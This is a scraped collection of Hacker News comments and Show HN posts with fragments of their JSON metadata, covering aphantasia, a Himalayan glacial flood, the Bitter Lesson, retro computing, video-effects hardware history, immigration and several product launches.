That's a bold claim. It doesn't tell me there is zero evidence... hardly anything has zero evidence. It just tells me you either reject the evidence or haven't looked. It's not hard to check. For the lazy, Wikipedia provides a nice summary and 82 references to get more details. But that's just a starting point.
> there are suddenly two types of people
This comment is pretty revealing. For almost any trait, there are way more than two types of people. Usually there's a whole spectrum with lots of diversity. It's a beautiful thing. What would be very unusual is if there was only one type of person, or only two types.
Even distinct "types" is a bit of a misleading concept. Instead of distinct types or buckets, most things have more of a cluster or nebula structure. Each individual member of a cluster is different, but has overall similarities, on average, to other members. There will usually be a fairly dense core, and then it gets more sparse with distance. And there will often be several clusters near each other, overlapping, so there is no clear boundary between one cluster and another. That is how descriptive categories work... nebulous clusters in thingspace, where that space is a many-dimensional abstract space with each trait having its own axis, and many degrees of each trait.
For convenience and efficiency, we use labels to refer to these clusters, but when deeper understanding is needed, or more nuanced communication, the labels stop being a useful simplification. It's like trying to dig out a splinter with a shovel; shovels are very useful, but they're way too coarse and blunt for something as precise as a splinter. A deep enough understanding requires us to more explicitly recognize the cluster structure and the multidimensional spectrum of diversity.
Don't mistake the map (the labels, or the "types" of people) for the territory (the rich variety of life).", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49473194"} {"by": "akshay_akula", "comments": 0, "created_at_utc": "2026-08-28T01:03:44Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49473195", "item_id": 49473195, "kids": [49473330], "parent": 49471407, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "Open source and no markup is the right default for a gateway.

- The site captured in the video, the Gyirong Port border crossing between China and Nepal, was struck by the flood roughly seven minutes after the presumed avalanche thought to have triggered the event.
- Flood inundation is seen up to 800 m (2,600 ft) above river level, and the camera position in the video at approximately 20--25m (roughly 6--8 stories) above ground level was engaged in the debris flow.
- It would take a fit person 4--8 minutes to climb even 250m or so above ground level, presuming instant notification and a clear evacuation path. Even with an instant warning of upstream conditions survival was overwhelmingly unlikely.
- Subsequent footage appears to show complete obliteration off all structures, with no trace remaining. This is based on preliminary imagery, without precise location information, and in a landscape changed beyond all recognition.
- Astoundingly, two survivors from the Port are mentioned in Wikipedia presently.
Though yes, one of the peculiarities of flood risk is that elevation equals safety. That's modulo a number of other factors though.
In particular, with an event of this magnitude, wind blast is a major effect. Toward the end of one video a line of buses in a car park is seen shifting backward, I suspect due to wind. These can reach well above hurricane force, and of course carries its own debris and threats, where even grass and straw can penetrate deeply. There's also the risk of secondary landslides and the like in steep terrain. One of the regions affected by this event has an etymology from "mud wall", which may be a reference to the geology of the canyon walls themselves. Those could easily be unstable.

That's different from just saying to leverage computation (which is how I would interpret "unlocks more search/learning"). If the lesson is "more computation wins, when sufficiently channeled" you're basically looking at a truism. Of course more computation beats less when it's used right.

Managing to get caught up in retro computing, I've recently bought the TI-99/4A that I always wanted as a kid. It was a 16-bit competitor that initially competed with the Apple II and TRS-80. Though the TI-99/4A failed in the market, Texas Instruments followed it with the similar but smaller Compact Computer 40, and finally the TI-74 BASICALC.
I'm highlighting the TI-74, because TI made a fair number of them, and the keyboard is a bit bigger than other pocket computers of the era. The TI-74 case is very sturdy.
To use the TI-99/4A, I had to buy a media adapter to plug it into my HDMI monitor. Though fun, it doesn't get used very much unless I'm playing old game cartridges.
My TI-74's get much more use, though basically as a calculator. If you have a thing for 8-bit computing, the TI-74 is satisfyingly sturdy, has a fairly complete BASIC, and is a bit easier to type on than its pocket computer peers with its larger keys.

What an incredible leap of petitio principii. Yet there are people who can't see despite their eyes being open and the optical machinery working correctly, and there are people who see things without having eyes at all -- in some cases things that are only in their imagination, in some cases due to brain probes, in some cases due to synesthesia, in some cases due to having an array of probes on their backs that translate images into touch sensations which their brains translate into images. You seem to know nothing of any of this, or how the brain works at all, or how language works, but you have a whole lot to say about it in this thread.
BY DEFINITION you have aphantasia, according to your self-description. You seem to believe, for no good reason and contrary to a large amount of evidence, that that everyone else also has aphantasia (i.e., no one has phantasia), but that's a different issue.

I'm joking...but not entirely. It sounds impressive on a promo packet when you say you've saved 100 TB of RAM / $$$ through whatever technique. But it sounds a lot less impressive when you say if this system grows to this size in x years, I will have saved 100 TB, especially when no one yet knows how large the system will really be in that time or what the cost of RAM will be. I dunno, maybe if you say that x years ago, I made a decision that now is saving us 100 TB, that's kinda impressive, but you're also getting credit for it x years after you did the work. It also doesn't have the implication that it must be inherently complex/hard because some other smart person chose the other way. And there is a bias to care more about recent accomplishments. So I don't really think it'd be valued the same at all.
Also, in general big tech (at least Google) prefers growing the userbase over improving efficiency. Periodically efficiency is rewarded, e.g. when RAM cost suddenly balloons or some big must-have feature has suddenly used up capacity planned for something else. You get rewarded for doing efficiency work on demand, not eagerly.

Not really, if anything it's closer to the opposite. The Bitter Lesson essay literally has this as an example:
> These researchers wanted methods based on human input to win and were disappointed when they did not.[1]
and
> Enormous initial efforts went into avoiding search by taking advantage of human knowledge, or of the special features of the game, but all those efforts proved irrelevant, or worse, once search was applied effectively at scale[1]
The actual bitter lesson is this:
> breakthrough progress eventually arrives by an opposing approach based on scaling computation by search and learning. The eventual success is tinged with bitterness, and often incompletely digested, because it is success over a favored, human-centric approach.[1]
Applying to the "LLMs-for-chess" example the bitter lesson approach would be to put many, many more games into the LLM.
Does this work? People have trained fairly small LLMs that are competitive Stockfish at the ELO 1500-2000 level, eg: https://github.com/kinggongzilla/chess-bot-3000
This seems to be evidence that large LLMs probably don't have as much chess training data as Stockfish does.

I don't buy the idea that autism is some special category of people that are totally unlike neurotypicals. Instead, it's just one side of the spectrum, with neurotypicals on the other end, and an ambiguous group in the middle[0]. I think that once society becomes more accepting of neurodiversity, we're going to stop getting so hung up on labels like "autistic" and "neurotypical" and accept that there's a lot of nuance in the human condition.

The events, even with increased frequency, are relatively rare (perhaps a few times a decade), quite sudden, utterly overwhelming, and destructive to virtually everything in their path.
The only assured safety practice would be to keep out of the danger zone entirely, and even this is challenging:
- There's very little habitable or arable land, and much of that is in river valleys (e.g., in the heart of the risk zone).
- Many mountainous regions are poor, and Nepal particularly so. Governmental and institutional resources are highly constrained, corruption, opportunism, and risk-taking behaviours are common.
- It's not possible to construct around the risks, as even the most robust structures are utterly demolished. Post-incident imagery shows bare land scrubbed clean near Gyirong Port, for example. Underground shelter might be possible. But ...
- Response times are on the order of seconds to minutes. The elapsed time from the glacial collapse (captured by seismometers) to the debris wall striking Gyirong Port was roughly seven minutes. That's about as much time as would be necessary to climb to a safe(r) elevation or enter an underground shelter. Even then, survivors would have to wait to be dug out, potentially days or weeks later.
- Flood run-ups of as high as 800m (2,6000 ft) were reported within 7-8 km of the start of the incident. Even further down the river valley flood depths hit 9m (27 ft) within 30 minutes. Depending on local topography it would be necessary to move a considerable horizontal distance to reach a safe vertical elevation. Though there's an inverse relation between narrowness of a channel and the direct kinetic risk, in the case of this event, even a fairly broad floodplain would have presented considerable risk, and refuge structures would have to be exceptionally robust to survive and provide protection.
Monitoring of potential risks, advanced warning (that is, of a potential situation rather than a current one), and evacuation of the affected area would be necessary.
Anything constructed within the risk area would have to be seen as a sacrifice zone. Ironically the Gyirong Port was substantially rebuilt this past January following similar, though lesser floods about a year ago which wiped out the Friendship Bridge between China and Nepal. Infrastructure such as roads and bridges might be elevated above river level, but would otherwise have to be rebuilt following events.
Advance warnings are disruptive and often turn out not to reflect a manifest threat. With time, public and business response tends to be to deprecate and ignore such warnings. The region has a literacy rate below 70%, as well as being both an international trade route and tourist region, further complicating communications, awareness, and compliance with emergency preparation and response efforts.

Because they can’t use Chinese to speak about things they encounter in the world?
Like, someone asks them in Chinese whether they are hungry and want some food, and they answer based on the program, not based on whether they are actually hungry, because they don’t understand the words in a way that lets them use them as a person who understood Chinese would.
Again, I don’t mean to say that in such a situation that there is no understanding of Chinese happening in their head, only that this doesn’t constitute that person understanding Chinese.
It seems to me very strange to want to say that the person with the simulation in their head understands Chinese. They can’t do the things that understanding Chinese lets people do.
Perhaps the program the person has running in their head is even a person, a moral patient and a moral agent, and one who understands Chinese. But the person who is running (by rote) the program, doesn’t thereby understand Chinese. They may “contain understanding of Chinese”. The understanding is definitely happening in their brain.

One can imagine making it a little more featureful, for instance indexing OPML blogrolls which would allow you to see whom a person follows and https://microformats.org/wiki/h-entry which would allow outgoing links to be categorised (like, reply, etc) so notifications filtered. With that, it would be possible to add a front-end site imitating one of the popular social media paradigms (Reddit-style or Twitter-style being the most obvious).
If there's one genuine design decision I would give for it beyond what is basically a cobbling together of existing interfaces, it would be to charge users per page uploaded. Likely very detrimental to growing the service, but I think one of the simplest ways to weed out spam and junk. A real problem with many web services is that the receiver of the message pays for it in terms of attention, where in other mediums the sender has to pay. Given that uploading crap is basically free, that's all you get. Increasing the cost of upload would weed out those endless AI summaries and lists of affiliate links.
The issue with ATProto is that it operates on too many layers.

We do know that a glacier substantially collapsed.
What contributed to the amount of water in the debris flow isn't clear. Speculation, from trained geologists, is that the friction of the glacier flow itself contributed to melt. I'm speculating that recent rains or higher temperatures might have contributed to melting on the glacier (and have seen some commentary speculating about this).
Speculating on my part: There might also have been accumulated water below the glacier, liberated by the ice flow, or perhaps groundwater which was evacuated along with other material. Events seem to have precipitated too quickly (roughly 7 minutes from galcial collapse to Gyirong Port inundation) for the collapse to have formed, then broken, a dam on tributary waterways upstream of the port.
GLOF is a recognised threat, but this event seems to have been at best only partially explained by that, and may be an entirely different mechanism.

In my previous YC company, we got a lot of good traffic, but only about 3% of it ever converted to demos.
We tried RB2B and many other visitor resolution tools - but weren't happy with the accuracy.
So, after that company was acquired, we decided to build our own platform.
We've found a way to achieve a much higher ID rate and accuracy than most of the previous-generation visitor ID tools.
Company-level visitor identification is about 3 times more accurate than individual-level. We use a waterfall of several data providers to boost it a bit further. Then an agent analyzes your ICP, figures out the decision-makers - and closes the loop by enriching their data. The thing is, for B2B, knowing who was the actual person that visited your website matters less than knowing that a certain company is in the market.
An unexpected side effect is that about 30% of companies can be identified via reverse IP lookup, which takes less than a second.
This allows you to do two key things for conversion:
Display content uniquely tailored to this visitor (e.g. a fintech startup sees a case study for a Series B payment platform).\nRank them against your ICP - so you know if an important buyer is currently browsing your pricing page.
Alphie does the personalization in the chatbot only so far, personalizing answers and showing relevant bits of content, but potentially it could be possible to generate a whole personalized version of the landing page.
The ICP ranking is super interesting, because it allows you to pull in a human rep while the buyer is still on the website - the moment of highest intent.
We're currently running 16 pilots, 10 of them with YC companies.
Would love to hear your thoughts. Happy to answer anything, especially on the identification accuracy tradeoffs and the privacy architecture.\nVideo Demo: https://www.youtube.com/watch?v=ZFjQwGfsR0k\nInteractive demo: https://meetalphie.com/demo/app.html", "title": "Show HN: Alphie – see who's on your website and chat with them from Slack", "type": "story", "url": "https://meetalphie.com"} {"by": "esseph", "comments": 0, "created_at_utc": "2026-08-28T02:00:28Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49473504", "item_id": 49473504, "kids": [49474104], "parent": 49473273, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "You didn't read what I said.

Asking brings customer conversations from different channels into one place. It is intended for small teams that need a proper support workflow but don’t want the cost and complexity that usually come with larger platforms.
To be transparent, Asking is built on top of Chatwoot. I’m not trying to present its messaging infrastructure as something I created from scratch. I’m using it as a foundation and building a more opinionated product around it, with simpler onboarding, inbox configuration, subscriptions, email setup, and a less overwhelming experience overall.
The project started with a question: how much customer support software does a small business actually need?
Many products are initially simple, but become expensive as the team grows. Others provide every feature imaginable, but require small companies to adopt workflows and concepts they may never need.
With Asking, I’m trying to find a better balance: enough structure to manage customer support properly, without turning it into an enterprise system.
One question I’m still exploring is whether small teams genuinely want fewer features, or whether they want the same capabilities with much less friction.
The product is still early, and I’d genuinely appreciate direct feedback — especially about what Asking would need before you could consider replacing your current support tool with it.", "title": "Show HN: Asking – A simpler customer support inbox for small teams", "type": "story", "url": "https://asking.com.br/"} {"by": "pfraze", "comments": 0, "created_at_utc": "2026-08-28T02:01:03Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49473508", "item_id": 49473508, "kids": [49473936], "parent": 49473454, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "Yeah that'd be interesting to try.

That feels like it defeats the point of using markup - which is supposed to be editable/usable from anywhere, even Notepad.
.adoc is usually sufficient (the only part I miss is tangle). Lots of options to specify at the top of a document like the images directory, or the CSS file to use, line SVG on HTML export etc. (which Markdown lacks). But the asciidoc converter runs from the command line or from code ( I write .adocs and convert them in Clojure). So you're less married to your editor.
Ideally there'd be some markup that's specified with a regex of PEGs or something that you could easily make a parse for in any context.

One, which some people call "phosphenes", is the ability to paint mental images on the field of vision that corresponds mentally to the signals I get from my retina. I can only see these kinds of images with my eyes closed and shielded from light. My ability to do this has waxed and waned over the years, and has never been good enough to create photographic imagery. At one point, I lost the ability to generate any colour, and I trained until I got colour back.
Two, the ability which seems to be called "phantasia". This is photographic mental imagery that runs on a separate channel from my visual channel, so I can consult this channel with my eyes open, and see things like people's faces. I couldn't do this at all a number of years ago, and was unaware that I was missing this ability. Then I discovered I had aphantasia, and I did some training which got me up to the level that the OP calls "hypophantasia", or maybe a bit better than that. I think that ability may have waned over the last few years since I last trained up.
The "afterimage test" is physically working at the phosphene level. It does not provide an accurate subjective experience of phantasia.
Three, the ability to visualize 3D geometric objects. It works great for wireframe polyhedra, and also works for maps that I hold in my head and use to navigate while driving. This ability has always been very strong, and I originally mistook this ability for phantasia. This is the ability I would use for your equilateral triangle example. I can position 3D objects in space relative to my body, rotate them, etc. Because I am strong at this ability, it is my job to efficiently pack luggage into the vehicle for camping trips. My partner is bad at this, but is much better at phantasia, and is a visual artist who can draw realistic faces.
What I wrote is based on personal experience. I am not selling anything. I know from internet forums that different people have different wiring in their brains. Some people have subjective experiences that other people have never encountered. It is impossible to prove the existence of first-person subjective experiences to a determined skeptic. The best you can do is collect field reports from a lot of people, compare them, find patterns, then make your own conclusions.

So, yes, it's amusing to see clear Claude-isms like "load-bearing", "outright", and "genuine" in a [very nice] bit of analysis like this. And there's a (maybe negative? or not?) argument to be made about the world being filled with more Claude-isms or LLM-isms in general.
But I think the data say a second thing which is just as interesting and an absolute positive for the typical source code base. Look at the clusters that shrank significantly. Most of what you'll see in there is just incomprehensible...not even English. Cluster 4 has, after "pullrequest", a bunch of seeming usernames in the top tier. Cluster 6 seems to have names of repositories or tags in the top tier. Cluster 9 has branch names in it.
Meanwhile, keep going through cluster 1 and you'll see words I don't consider Claude-isms that really, really grow in usage. Words like "died", "nothing", "worse", "ever" all have well over 10x growth. This tells me something else. That the average commit log was BARELY ENGLISH. And then the LLMs came along and made commit logs that were ACTUALLY ENGLISH.
I count this as a good thing. I don't know the cross-section of repos chosen for this analysis, and I get it...some repos are garbage/throwaway, some commits come from automated processes that generate uninteresting commit logs, etc. But I've been benefitting from my work team's actually explanatory commit logs when doing code/bug archeology for decades, when doing PR review for the last decade, and I've even seen LLMs benefit from it in the last year (granted, not as often). A large part of professional software development is communication, and while the most important communication is via the code/comments, the commit logs are not unimportant. So, if this is making the average GitHub PR better (arguably more professional) by including actual English descriptions of code changes in commit logs...well, that's a genuinely load-bearing concept for me. :)", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49473579"} {"by": "entity002", "comments": 0, "created_at_utc": "2026-08-28T02:14:32Z", "dead": true, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49473580", "item_id": 49473580, "kids": [], "parent": 49466458, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "[flagged]", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49473580"} {"by": "f311a", "comments": 0, "created_at_utc": "2026-08-28T02:14:33Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49473581", "item_id": 49473581, "kids": [], "parent": 49472939, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "You can’t allocate collections without nightly or without reimplementing them in the library.

Ampex's ADO and the digital video effects boxes that followed could scale and reposition a live signal in real time
Fun history: The very first digital squeeze effect box was called the Squeezoom by Vital and released in 1977 (https://patents.google.com/patent/US4266242A). It made big waves when first seen on national TV during a live Grammy awards ceremony putting camera shots of all four nominees into a 'quad-split'. Prior to the Squeezoom, quad-splits were faked using an analog video switcher to simply crop four full-screen images into quarters. No pixels were shrunk or even moved, instead, each of the four images were framed by the camera operator in their respective corners with the camera's optical zoom lens.
Digitally scaling a video frame in real-time was quite a feat with late 70s TTL chips which were barely fast enough to keep up with full bandwidth 6 Mhz video rates by using costly delay lines and buffers pushing the Squeezoom's price to $250K (over $1,000,000 today), However the trickiest part was implementing high-quality multi-tap filters to smooth the scaled pixels in real-time. While the Squeezoom was first, won an Emmy for technical achievement and established the term "Squeeze", it was also legendary not only for its cost but for being cantankerous and unreliable.
The Ampex Digital Optics (ADO) shipped in 1981 and got even more attention because the Squeezoom could only scale images in X and Y but the ADO could simulate 2.5D perspective with rotation and affine transforms. It's worth reading the patent just to appreciate how the hell they did it with 1980 TTL chips (https://patents.google.com/patent/US4472732/). Here's the demo video for the 2nd gen ADO 100 (https://www.youtube.com/watch?v=Zw1JrNBroF8&t=160s).
A year later later Quantel introduced their $300k Mirage effects unit which could warp live video onto an arbitrary 3D geometric shape, however the trick was it pre-rendered all the geometric remapping coordinates to a massive RAM disk using a Pascal program running on a workstation (which could take an hour or more to calculate) and only played them back on cue. The real-time part of the Mirage's hardware just digitized a live video input and mapped it to the fixed stream of pre-generated addresses by mapping the 2D video X/Y pixels to pre-calculated 3D X/Y/Z coordinates. Thus the Mirage could warp video into complex geometries like cubes, spheres, cylinders and even page peels but those geometries were canned, not interactive. The Ampex Digital Optics hardware did generate addresses in real-time entirely in logic-gate based hardware but throughout the 80s the geometries became increasingly complex and the desire for real-time video effects with shadows, trails, reflections, specular highlights and multiple colored light sources forced more of a true 3D rendering pipeline to be implemented in custom ASICs. The vast budgets to develop this bleeding-edge custom hardware were funded by selling astronomically expensive video effects gear. The allowed video engineers to solve the challenges of real-time 3D address generation, texture mapping and lighting - and that led directly to early Graphics Processing Units.
The ultimate real-time 3D video warping effects box was Sony's legendary $350,000 System-G which shipped in 1992 and reportedly had worldwide sales of... three units. I saw one in mid-90s at The Post Group in LA, just a few months after I'd seen a 1983 Quantel Mirage literally being used to prop a closet door open at Broadway Video in NY. The incredible pace of innovation in real-time effects was driving equally extreme rates of depreciation. In the late 80s, a young engineer at Sony named Ken Kutaragi saw the early System-G prototype in a research lab and imagined that racks of million dollar hardware could someday be amazing for video games. A few years later Kutaragi launched Sony's Playstation development effort with some former System-G engineers. In fact, the history of real-time digital effects for TV is full of notable names from early computer graphics and video games. Ed Catmull and Alvy Ray Smith were at Ampex in the late 70s and Lucasfilm in the early 80s before co-founding Pixar. Two young Ampex engineers named Nolan Bushnell and Ted Dabney 'borrowed' parts from work to prototype early video game graphics hardware but Ampex management saw no market, so the pair left and founded Atari.
Over the rest of the 90s, the visual magic of the ultra high-end System-G trickled down into lower-cost television production gear and eventually desktop-based real-time video and graphics hardware like the low-cost Video Toaster, Play Trinity, Targa frame buffers, etc. By the mid-2000s, desktop CPUs and GPUs started becoming as powerful as even the most advanced custom ASICs and FPGAs in broadcast video gear and the amazing 30 year journery that began in the late 70s with the 2D Squeezoom came to an end. Today, the GPU descendants of those early video effect ASICs have completely replaced their ancestors and the real-time virtual environments you see mapped into stadiums on Monday Night Football are rendered by desktop GPUs in rack-mounted PCs.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49473595"} {"by": "VladVladikoff", "comments": 0, "created_at_utc": "2026-08-28T02:17:44Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49473596", "item_id": 49473596, "kids": [], "parent": 49473562, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "And the parent will spawn a new process.

A technical question: To scan a surface precisely, I'd rather put switches on the end effector aside the sensor, such that the arm places itself roughly above the surface to scan, pushes until the switches trigger, and scan keeping the switches on. A simple touch sense, basically. All trad robotics that smoothly follows many flat and curved surfaces. Not at all against AI here, it seems the whole thread is a constructive approach mixing the best tools to concrete targets. Not viable approach in your scenarios?
Thoughts on your concluding questions:
> where the abstraction boundary in robotics should sit. What should come from the robot manufacturer, what belongs in an application layer, and what will inevitably remain specific to the facility?
I really like when there is a "double SDK", with a low level one to target actuators and sensors individually (motor 2 of leg 4), and a higher level one with pre-defined scenarios (move forward, whatever the bot is a bipede, a quadcopter or a slug). These two API types often allow for easier work at the application layer. The SDK is also the main specific software that remains with the maker (facility?)
> industries where you've seen physical inspection tasks that look trivial to a person but are surprisingly difficult to automate

Disney being a notorious example[0]. ConEd[1], AT&T[2], there are others. I generally discount the stories from anti-immigration sources like CIS because they dislike all immigration on principle[3], but even the AFL-CIO cover these cases.[4]
However, you raise a second point, about locals being outcompeted by immigrants already on staff for new positions, promos, etc which is slightly different. It's quite possible that an H1-B holder could (legitimately) outcompete a native citizen. It's also quite possible that a native citizen who got the job that the H1-B got instead could have learned enough on the job to outcompete the other citizen. Hard to tell. Again, none of this is the fault of the immigrant - the engine of these issues is (imho) is the relentless drive by corporations to lower the costs of labor.
UC San Francisco[5] shows what the logical conclusion of this drive would be, even in light of the today's Administration's extremely anti-immigration stance. UCSF brought in H1-B labor to learn the tasks and then offshored the labor.
To me this is the obvious issue that must be solved: if there is no source of cheap immigrant labor, corporations will not say, "oh ok, we'll go back to hiring local citizens at $150K/year with healthcare and a 401k". They will simply automate what they can and offshore the rest.

In the USA, its very expensive to find people that overstay, but in Vietnam b/c the government tracks everyone, they know exactly where you sleep every night.
I know that: "just because you have it bad, doesn't mean we have to have it bad." but the US system is much much more kind than any country I have lived in.
In the USA, we pay you to leave. In Thailand or Vietnam, they can toss you in jail if you can't pay the overstay fine.
The US economy provides a lot more resources for immigrants. In Vietnam, a 'good' salary is $850usd/mo. The lawyer I spoke to about assisting me said her hourly rate is $300/mo...

One thing I'd love to see with rss / ompl sharing sites is more ease of exploration. It feels a bit clunky browsing many of these feed sharing sites because you need to evaluate each feed by manually clicking through each one etc or worse you can only import the whole opml at once flooding your feeds. For example I've seen some sites with feeds directly showing posts as they come in for each persons feed list(s) so you can see what that batch of rss feeds looks like in action without clicking around much. There are some sites doing great work getting people to share their lists but I think there is room for qol improvements.
One site I've been liking that has feeds for each list and is trying to reduce friction on sharing is blogflock.com.

Whatever personality traits they exhibit is part of that narrative.

The point is valid, but perhaps not relevant. Broadly, yes, Americans are easy to spot abroad. Attitude, behavior etc are all part of culture.
Yes, an American from NY and one from Alabama will have massive differences, but culture (anywhere) doesn't mean that people are all the same.

I wanted to share with you a chess analysis tool that I was building for the past week.
First of all I want to explain what is the problem that I'm trying to solve: Chess Engines such as stockfish are superior for us humans, but it's not self explanatory. A player can review their game by stockfish and it will tell them that some moves are very bad and losing, but why? This is the problem that we are trying to solve.
ChessRabbit acts as a chess agent with stockfish evaluation tools. It takes every move that the player plays and it reasons about it, with the help, validation, and confirmation of Stockfish.
So instead of showing the user: "Blunder", we show them: "This is a blunder because your opponent plays Rook to d6, attacking your queen and leaving your bishop on d5 overloaded and lost. You should have played Qd4 to protect your bishop in the center and maintain your coordination."

A doctor would be fired and ostracized for using the four humours, but can prescribe life-altering medication after five minutes to correct chemical imbalance, a theory which has never had much support within the scientific community.
Indeed, a rebuttal [1] to that paper starts with:
> Moncrieff et al. report in a review of reviews that depression is not generally linked with serotonin deficiency. This is hardly news to neuropharmacologists, which Moncrieff et al. tacitly admits, as they justify their review by citing examples of laity and general practitioners believing depression is caused by a “chemical imbalance”, i.e., in serotonin. For instance, already in 1986 did Depue and Spoont point out that serotonin deficiency may not be a general cause of depression or other psychiatric illness. Further, that increasing extracellular serotonin—e.g., with selective serotonin reuptake inhibitors (SSRIs)—treats depression does not mean decreased serotonin causes depression.
I have a lot of trust in the science of medicine, but almost none in healthcare. It seems like the research is totally divorced from the medieval treatments I see doctors give all the time. "This is hardly news to neuropharmacologists" vs "laity and general practitioners believe ..." indeed.

I built IndexFlow-core, an open-source search engine indexing infrastructure written in Rust.
The project started from problems I encountered while building content-heavy websites. I found that making a website available online does not mean search engines can reliably discover and understand it.
IndexFlow focuses on the technical layer between websites and search engines:
- Sitemap management
- SEO quality gates
- URL discovery
- Indexing workflows
- Multi-site scheduling
- Quota-aware request handling
The goal is to provide a self-hostable infrastructure layer for developers who care about search engine visibility.

This confused the heck out of me because it makes it sound like the STT model can make function calls in order to execute arbitrary tasks, which wouldn't make any sense. The developer docs (https://ai.google.dev/gemini-api/docs/models/gemini-3.5-tran...) confirm that the Gemini 3.5 Transcribe model cannot in fact make function calls.

One time over 2 hours. Of course the balance is a wait in the queue, which can be substantial, but I'm in the fortunate position that I can take a day off when necessary.
While neither system is perfect, overall I prefer the one which prioritzes good health outcomes.", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49473835"} {"by": "waynebyh", "comments": 0, "created_at_utc": "2026-08-28T02:56:24Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49473836", "item_id": 49473836, "kids": [], "parent": null, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 1, "text": null, "title": "Show HN: I'm building tools for Noduspall before the game launches", "type": "story", "url": "https://nodusfallwiki.net/"} {"by": "mythz", "comments": 0, "created_at_utc": "2026-08-28T02:56:56Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49473837", "item_id": 49473837, "kids": [], "parent": 49468818, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "Annoying that they don't include pricing info in new models, here it is [1]:

There's a big difference in antisocial behaviour and visible mental health issues between Tokyo and San Francisco.
"San Francisco’s BART found that systemwide crime fell 41 percent after new gates were installed. Even more impressively, across the ten stations with the most corrective maintenance needs, staff time spent on in-system maintenance fell 96 percent, which suggests that fare evaders also cause most unreported crime, like littering, vandalism, and graffiti."

This is a great idea, to have a low-resolution mode for additional speed to create previews, do test runs, create rapid prototypes, etc.
My curiousity is, what's the absolute useable minimum that this could be?
That is, would/could 240p resolution work? If so, what about 144p? How about lower? Then, could those images be upscaled quickly (and is the result still usable?) with a faster image upscaling-only neural network?
The reason why knowing such lower numbers / lower bounds -- is because they could be important for additional cost/time savings and/or running derived LLM's on local resource-constrained hardware...

Which reminds me of a funny "kids being kids" story I heard in a different forum. This guy mentioned a time when his not-quite-one-year-old son, who couldn't even walk yet, planned and carried out a highly complex (for a 1-year-old) plan to deceive his father. The father had some vinyl records that the son was not allowed to touch, even though they were on a shelf the son could reach. (I've tried childproofing a house. You just can't get every single thing high enough off the ground. Sometimes you have to leave some things within the baby's reach. And once they're toddlers, able to reach up to get things even two feet off the ground? Forget about it). The father was sitting in his chair reading the newspaper, but watching the son out of the corner of his eye. The son looked at the records, looked at his father (who appeared not to be looking in his direction), looked at the records, then crawled in a direction that was not straight towards the records. He then repeated this process, moving slowly towards the forbidden records without ever making a straight line towards them. He looked at his father again, reached one had towards his prize, and a voice came from behind his father's newspaper: "Stop. You know you're not allowed to touch that."
And that's when the child learned that Daddy Knows Everything! :-)", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49473888"} {"by": "nxtfari", "comments": 0, "created_at_utc": "2026-08-28T03:05:19Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49473889", "item_id": 49473889, "kids": [], "parent": 49468834, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "As the saying goes every 5 minutes in Silicon Valley another company reinvents ROS", "title": null, "type": "comment", "url": "https://news.ycombinator.com/item?id=49473889"} {"by": "johnnyApplePRNG", "comments": 0, "created_at_utc": "2026-08-28T03:05:21Z", "dead": false, "deleted": false, "hn_url": "https://news.ycombinator.com/item?id=49473890", "item_id": 49473890, "kids": [49474632, 49475518, 49475513], "parent": 49472820, "retrieved_at_utc": "2026-08-29T01:02:30Z", "score": 0, "text": "Not surprised to see Claude significantly higher in scientific intelligence than Sol.

Company A says "You can pay us 50,000 dollars to check our records we are not sure."
Nightdive says "Ok, seeing as you dont know if you own the game, could you give us permission just in case you do"
Company A: "No, we would need to review the records. However if you released the game to market, we would check just to see if we can sue"

(Though those are the more effective ads: it's harder to get people to believe "my opponent kicks puppies" when you don't have any heart-rending video of puppies being kicked to show them. It's a lot easier to make people believe "my opponent is soft on crime" when you can show ONE case (cherry-picked out of thousands) where the politician pardoned a guy who went on to commit a nasty murder.)
So it matters less whether LLMs can actually experience things (I think it's self-evident that a collection of numbers is not capable of experiencing qualia, but I know many people disagree), and it matters far more whether they can be programmed to act like they can experience things.

The “left” as a whole, whether you mean left ultras or left-liberals, generally do not respect individual freedoms in my experience. They redefine liberty to exclude rights they don’t believe in (the right does as well).
Polls have shown that the public as a whole, including the left, is becoming more hostile towards many individual liberties, especially freedom of speech. Even more concerning, support for political violence is gradually climbing.
Socialists are a mixed bag. In my experience, the more educated they are, the more they publicly espouse support for individual liberties, at least during academic discussions.

And this is speaking with generality, including Presidents Obama, Biden, Clinton, et. al.
The modern method of "ruling by Executive Order/Action" is a clever political ruse. It garners a lot of attention to decree an EO on some wedge issue, doesn't it? It stirs the pot quite effectively, even if the EO isn't, in fact, effective to do anything at all.
Ruling by EO is a way to keep campaign promises. It's a way to assuage constituents and donors and benefactors, "hey, I'm doing what you wanted from me!" and it's a way to keep ahold of the narrative. What it isn't, is effective governance. The USA is not ruled by decree. The EOs, if they are on subjects that are normally the remit of the judicial or legislative branch, may not do much, if anything at all. The President can say he's meddling with the national budget; the media can say he's meddling; the citizens can all complain that he's meddling, but only Congress can actually do budgetary things. The "#nokings" protests are attacking a straw man, because the USA has no king indeed. We uphold the Constitution in this house.
